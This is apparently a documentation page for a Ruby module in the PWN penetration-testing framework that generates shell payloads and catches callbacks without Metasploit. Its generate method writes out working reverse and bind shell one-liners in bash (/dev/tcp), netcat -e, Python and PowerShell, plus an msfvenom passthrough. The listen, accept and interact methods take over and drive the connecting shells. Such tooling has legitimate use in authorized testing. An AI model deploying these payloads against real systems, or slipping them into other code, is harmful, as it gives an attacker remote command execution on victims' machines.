Module: PWN::Plugins::Handler

Defined in:
lib/pwn/plugins/handler.rb

Overview

Payload generation and listener sessions without Metasploit.

Class Method Summary collapse

Class Method Details

.accept(opts = {}) ⇒ Object 



67
68
69
70
71
72
73
 
# File 'lib/pwn/plugins/handler.rb', line 67

public_class_method def self.accept(opts = {})
  sess = session!(opts)
  sock = sess[:queue].pop
  PWN::Plugins::ProcessTube.register(io: sock, id: "cb_#{SecureRandom.hex(4)}").tap do |tube|
    sess[:callback] = tube[:id]
  end.merge(listener: sess_id(opts), port: sess[:port])
end

.authors ⇒ Object 



92
93
94
 
# File 'lib/pwn/plugins/handler.rb', line 92

public_class_method def self.authors
  "AUTHOR(S):\n  0day Inc. <[email protected]>\n"
end

.generate(opts = {}) ⇒ Object 



18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 
# File 'lib/pwn/plugins/handler.rb', line 18

public_class_method def self.generate(opts = {})
  kind = (opts[:kind] || 'rev_sh').to_s
  host = (opts[:host] || '127.0.0.1').to_s
  port = (opts[:port] || 4444).to_i
  payload = case kind
            when 'rev_sh' then "bash -c 'exec 3<>/dev/tcp/#{host}/#{port}; cat <&3 | bash >&3'"
            when 'bind_sh' then "bash -c 'while true; do nc -lp #{port} -e /bin/bash; done'"
            when 'rev_python' then "python3 -c 'import socket,os,pty;s=socket.create_connection((#{host.inspect},#{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"
            when 'bind_python' then "python3 -c 'import socket,os,pty;s=socket.socket();s.bind((\"0.0.0.0\",#{port}));s.listen(1);c,_=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);pty.spawn(\"/bin/sh\")'"
            when 'rev_powershell' then "powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient('#{host}',#{port});$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$w=($r+'PS> ');$s.Write(([text.encoding]::ASCII).GetBytes($w),0,$w.Length)}\""
            when 'bind_powershell' then "powershell -nop -c \"$l=New-Object Net.Sockets.TcpListener('0.0.0.0',#{port});$l.Start();$c=$l.AcceptTcpClient();$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$w=($r+'PS> ');$s.Write(([text.encoding]::ASCII).GetBytes($w),0,$w.Length)}\""
            when 'msfvenom'
              raise ArgumentError, 'msfvenom is not installed' unless PWN::Plugins::PreflightChecker.bin?(name: 'msfvenom')

              out, = Open3.capture2('msfvenom', *Array(opts[:args]).map(&:to_s))
              out
            else
              raise ArgumentError, "unknown payload kind #{kind}"
            end
  { kind: kind, host: host, port: port, payload: payload }
end

.help ⇒ Object 



96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
 
# File 'lib/pwn/plugins/handler.rb', line 96

public_class_method def self.help
  puts "USAGE:
    # List host binaries this module expects to be installed.
    #{self}.required_bins

    # Generate a reverse or bind payload string without Metasploit.
    #{self}.generate(
      kind: 'optional - rev_sh, bind_sh, rev_python, bind_python, rev_powershell, bind_powershell, or msfvenom',
      host: 'optional - callback host (defaults to 127.0.0.1)',
      port: 'optional - callback or bind port (defaults to 4444)',
      args: 'optional - extra argv for msfvenom passthrough'
    )

    # Start a TCP or TLS listener on loopback.
    #{self}.listen(
      port: 'optional - listen port (defaults to 4444)',
      bind: 'optional - bind address (defaults to 127.0.0.1)',
      tls: 'optional - true to wrap the listener in TLS',
      http: 'optional - true to accept an HTTP reverse callback',
      kind: 'optional - http to enable the HTTP listener'
    )

    # Accept one callback and register it as a ProcessTube session.
    #{self}.accept(
      id: 'required - listener id from listen',
      handle: 'optional - alias for id'
    )

    # Send a line and optionally expect a pattern on a caught session.
    #{self}.interact(
      id: 'required - callback id from accept',
      session: 'optional - alias for id',
      line: 'optional - command to send',
      pattern: 'optional - regex or string to wait for',
      timeout: 'optional - seconds to wait'
    )

    # Stop a listener handle.
    #{self}.stop(
      id: 'required - listener id from listen',
      handle: 'optional - alias for id'
    )

    # Print the AUTHOR(S) string for this module.
    #{self}.authors
  "
  constants.sort
end

.interact(opts = {}) ⇒ Object 



75
76
77
78
79
80
81
82
83
 
# File 'lib/pwn/plugins/handler.rb', line 75

public_class_method def self.interact(opts = {})
  id = (opts[:id] || opts[:session]).to_s
  PWN::Plugins::ProcessTube.write_line(id: id, line: opts[:line].to_s) if opts[:line]
  if opts[:pattern]
    PWN::Plugins::ProcessTube.expect(id: id, pattern: opts[:pattern], timeout: opts[:timeout] || 5, strip_ansi: true)
  else
    PWN::Plugins::ProcessTube.recvline(id: id, timeout: opts[:timeout] || 5)
  end
end

.listen(opts = {}) ⇒ Object 



40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
 
# File 'lib/pwn/plugins/handler.rb', line 40

public_class_method def self.listen(opts = {})
  port = (opts[:port] || 4444).to_i
  tls = opts[:tls] == true
  http = opts[:http] == true || opts[:kind].to_s == 'http'
  server = TCPServer.new(opts[:bind] || '127.0.0.1', port)
  if tls
    ctx = OpenSSL::SSL::SSLContext.new
    ctx.cert, ctx.key = self_signed
    server = OpenSSL::SSL::SSLServer.new(server, ctx)
  end
  id = "listener_#{SecureRandom.hex(4)}"
  queue = Queue.new
  thread = Thread.new do
    sock = server.accept
    if http
      begin
        sock.readpartial(4096)
      rescue StandardError
        nil
      end
    end
    queue << sock
  end
  @sessions[id] = { server: server, thread: thread, queue: queue, port: port, tls: tls, http: http, kind: :listener }
  { id: id, port: port, tls: tls, http: http }
end

.required_bins ⇒ Object 



14
15
16
 
# File 'lib/pwn/plugins/handler.rb', line 14

public_class_method def self.required_bins
  []
end

.stop(opts = {}) ⇒ Object 



85
86
87
88
89
90
 
# File 'lib/pwn/plugins/handler.rb', line 85

public_class_method def self.stop(opts = {})
  id = (opts[:id] || opts[:handle]).to_s
  sess = @sessions.delete(id)
  sess[:server].close if sess && sess[:server]
  { stopped: id }
end